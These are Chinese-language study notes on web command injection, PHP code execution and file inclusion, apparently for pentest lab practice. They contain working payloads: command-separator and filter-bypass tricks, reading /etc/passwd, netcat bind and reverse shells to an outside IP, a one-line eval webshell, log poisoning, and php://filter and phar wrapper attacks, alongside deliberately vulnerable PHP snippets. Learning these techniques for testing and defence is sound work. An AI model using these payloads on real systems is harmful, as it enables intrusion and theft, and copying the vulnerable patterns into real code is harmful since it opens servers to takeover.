命令执行和代码执行
命令执行
概述
web程序使用了命令执行函数,用户通过浏览器提交执行系统命令,由于服务端没有对用户提交的命令做严格过滤,导致用户可以通过浏览器执行恶意系统命令,从而导致命令执行攻击
思维导图
- 命令执行
- 命令拼接符
- linux / mac / windows 通用
- &
- &&
- |
- ||
- linux / mac 特殊
- ;
- ``
- $0
- 漏洞检测
- 白盒测试
- 有代码,对代码进行审计
- 看危险函数(能够执行系统命令的函数)
- php: exec / shell_exec / system
- java: runtime / builder
- 看危险函数的参数是否用户可控
- exec("ping " + $_GET["ip"])
- exec("ping 127.0.0.1 ; ls")
- 黑盒测试
- 没有代码,盲测
- 有回显
- linux
- ifconfig
- cat /etc/passwd
- windows
- type C:\\windows\win.ini
- ipconfig
- 无回显
- sleep 5(执行成功,页面会加载5秒)
- 写入文件,访问文件(ls> 1.txt)
- dnslog(ceye.io)
- 绕过
- 命令分隔符
- 空格绕过
- ${IFS}
- $IFS
- %09
- 命令绕过
- cat / c'a't / c"a"t / ca\t
- 文件名称
- key.php -- k?y.php -- key.* -- k{e}y.php
- 补充
- ping `ls` ceye.io
- 先将反引号内容当作系统命令执行
- 在执行ping命令
- 正向弹shell
- 反向弹shell
命令执行示例
http://192.168.142.53/pikachu/vul/rce/rce_ping.php
<?php
exec("ping -t 1 ">$_GET["ip"],$output);
var_dump($output);
?>
正常ping 没有任何危害
ping -t 127.0.0.1
但一切输入都是有害的,当我们加入命令拼接符时,一些铭感信息也会被带出来
ping 127.0.0.1 -n 1 & ipconfig
命令拼接符
linux / mac / windows通用
& 前面的语句为假则直接执行后面的
&& 前面的语句为假则直接出错,后面的也不执行
| 直接执行后面的语句
|| 前面出错执行后面的
换行符 %0a %0d%0a
linux / mac 特殊
pwd;ls 前面的执行完执行后面的
pwd`ls`
pwd$(ls)
###补充 : 读文件命令
cat
tac
more
less
head
rail
nl //
反弹shell
正向shell
nc -lvvp 1028 -e /bin/bash
这个命令会在本地启动一个 netcat 监听器,监听端口号为 1028 (使用 -p 选项指定),并打开详细输出模式(使用 -v 选项)。使用 -e 选项指定一个在客户端连接到监听器之后要执行的程序。在这个命令中,程序被指定为 /bin/bash,这将为客户端生成一个交互式的 Bash shell。
攻击者可以通过本机使用nc建立连接nc 服务器ip 1028
反弹shell
找一台公网ip的服务器nc -lvp 1028
受害服务器执行nc -e /bin/bash 1.1.1.1 1028
防火墙策略一般只会过滤从外向内流量,对出向流量过滤较为宽松
反弹shell相当于为其他命令执行操作打开了一扇大门,在命令注入场景下,首先要考虑的就是能否利用该漏洞反弹shell获取服务的稳定控制权
漏洞检测
黑盒检测
有回显
linux
cat /etc/passwd
ifconfig
id
whoami
windows
type C:\\windows\win.ini
ipconfig
net user
命令执行无回显
>
写入文件
ls > 1.txt
cp flag.php 1.txt
- 延时---判断
ls|sleep 3 linux
ls|timeout /T 2 windows
- HTTP请求--判断
nc -lv 8000 #监听公网端口
curl #curl公网地址
- Dnslog--判断
ceye.io
可curl可ping
白盒检测
php代码审计
- 危险函数
System
Exec
shell_exec
`command` 两个反引号包括的内容
Popen
Passthru
- 参数用户可控
Java代码审计
- 危险函数
Runtime.getRuntime().exec()
ProcessBuilder
- 参数用户可控
bypass
命令拼接
实在猜不出来就模糊测试
%0a 换行符
%0d 回车符
echo 123 %0a ls
echo 123 %0d ls
;连续命令
&后台进程
|管道符 将左边的结果当作参数传递给右边函数(有的函数就不会传递)
echo 'ls'|bash
|| 或
&& 和
文件名
key.php --> key.* --> k{e}y.php --> k?y.php
空格代替
<符号
$IFS
${IFS}
$IFS$9
%09用于url传递
%0a
%20
命令绕过
cat --> ca\t --> c'a't --> c"a"t
a=l;b=s;$a$b #拼接
`echo 密文|base64 -d` #base64编码
命令执行的各种符号
漏洞挖掘
常见思路
- 代码执行
- 漏洞点
- 按找ssrf方法测url(wget / curl请求)
- 第三方接口调用(网站邮箱注册,填写邮箱,邮箱验证处)
- 文件下载/删除/查看(wget/curl/cat/rm)等
- 测试小技巧
- 文件上传
sleep 10
filename - 测试filename:|| wget%20ip
- 测试上传处下的名称: payload|payload&payload
- 测试邮箱
wget%209服务器地址 / xmoct
@gamli.com
- 文件上传
- 思路
-
- 找可能存在的点
-
- ceye判断是否存在
- 3.向自己的服务器发出请求,看日志(curl / wget /命令拼接)
-
- 外带数据 / 命令执行 / 验证危害
-
- 漏洞点
其他
- 熟悉netcat,在kali和windows上尝试反弹shell和正向shell
- 自行整理bash / perl / python / ruby 反弹shell脚本(可chatgpt)
- 靶场练习
- Shellshock漏洞 (会写yaml的可以自己写poc)
代码执行
概述
web应用程序 使用了代码执行函数,但对用户输入的参数没用进行严格的过滤,导致用户拼接输入恶意代码,并执行造成代码执行漏洞
RCE 远程命令执行
PHP远程代码执行
<?php
if (issert($_GET['id'])){
$id = $_GET['id']
eval("var_dump($id);")
}
?>
var_dump($id);
var_dump();
id=1);phpinfo(
phpinfo();
白盒审计
eval() 直接执行php代码
assert 与eval函数功能相同
表达式 | 说明 | 例子 |
---|---|---|
mixed eval(string,$code) | 把字符串code作为php代码执行 | eval("phpinfo();"); |
bool assert(mixed @assertion[,string $description] ) | assert()会检查指定的assertion并在结果为FALSE时采取适当的响应,如果assertion时字符串,他将会被assert()当作php代码执行 | assert('system("whoami")'); |
mixed preg_replace ( mixed $pattern ,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) | 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。若replacement会被当作php代码执行 | preg_replace ("/test/e","system("whoami"),‘test’); |
call_user_func(callable args): mixed | 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。传入call_user_func()的参数不能为引用传 | call_user_func('system','whomaiy'); |
call_user_func_array(callable $callback, array $args): mixed | 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。 | call_user_func_array('system',array['whomaiy']); |
create_function(string string $code) | args是要创建的函数的参数,code是函数内的代码 | create_function('echo code;'); |
array_map(callable $callback, array $array1[,array $....]) | array_map-为数组的每个元素应用回调函数 | array_map('assert','phpinfo()') |
uasort(array,myfunction); | uasort() 使用用户自定义的比较函数对数组按键值进行排序。提示:请使用 uksort() 函数对数组按键名进行排序,该函数使用用户自定义的比较函数进行排序。 | |
usort(array,myfunction); usort() | 使用用户自定义的比较函数对数组进行排序。 | usort(...$GET);?1[]=phpinfo()&1[]=123&2=assert(要执行的命令就放在第一个数组参数) |
${php代码} | ${phpinfo()}; |
文件包含
就是如果 我使用了文件包含函数 ,那被包含的对象 只要存在php格式的代码,他就会被当成php代码进行执行 ,无需考虑文件本身时什么类型
include:包含文件
include_once:系统会自动判断文件包含过程中,是否已经包含过(一个文件最多被包含一次)
require:与include相似,不过出错就不执行后续语句
require_once:以include_once相同
本地文件包含
<?php phpinfo();?>
include(1.txt)
远程文件包含
[http|https|ftp]://localhost/test.txt
http://www.baidu.com/?php
http://www.baidu.com/
两者无区别,本身不会接收php参数
伪协议
file:// 协议 - 用于访问本地文件系统 - file://[文件的绝对路径和文件名]
php:// 协议 - 访问各个输入/输出流(I/O streams)
php://filter - 用于读取源码 - php://filter/read=convert.base64-encode/resource=[文件名]
php://input - 用于执行php代码 - php://input + [POST DATA]
zip:// 访问压缩文件中的子文件 - zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
bzip2:// - compress.bzip2://file.bz2
zlib:// 协议 - compress.zlib://file.gz
- data://text/plain,
- data://text/plain;base64,
data:// 协议 - 数据流封装器
http:// - 以只读访问文件或资源 -
https:// 协议
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
phar:// 协议 - 访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
phar://协议对象注入技术
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
phar_gen.php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
压缩包,配伪协议
include $a.'php' //强制后面添加php
a.php ---> a.zip --->a.jpg
zip://a.zip%23/a
zip://a.zip#/a
phar://a.zip/a
phar://a.jpg/a
php://filter
--常用于读文件(白盒审计)
?file=php://filter/read=convert.base64-encode/resource=index.php
php://input:
---这个可用,远程包含一般也可用
extract($_GET) //将get的参数变为变量,常常存在变量覆盖的问题
POST ...
...
...
<?php @eval($_REQUEST[cmd]);?>
场景
日志文件
pwd
/var/log/apache2
日志 请求中写入php代码
包含日志文件
其他
ctfhub技能树rce的练习
搜索php文件包含伪协议用法
CVE-2019-10758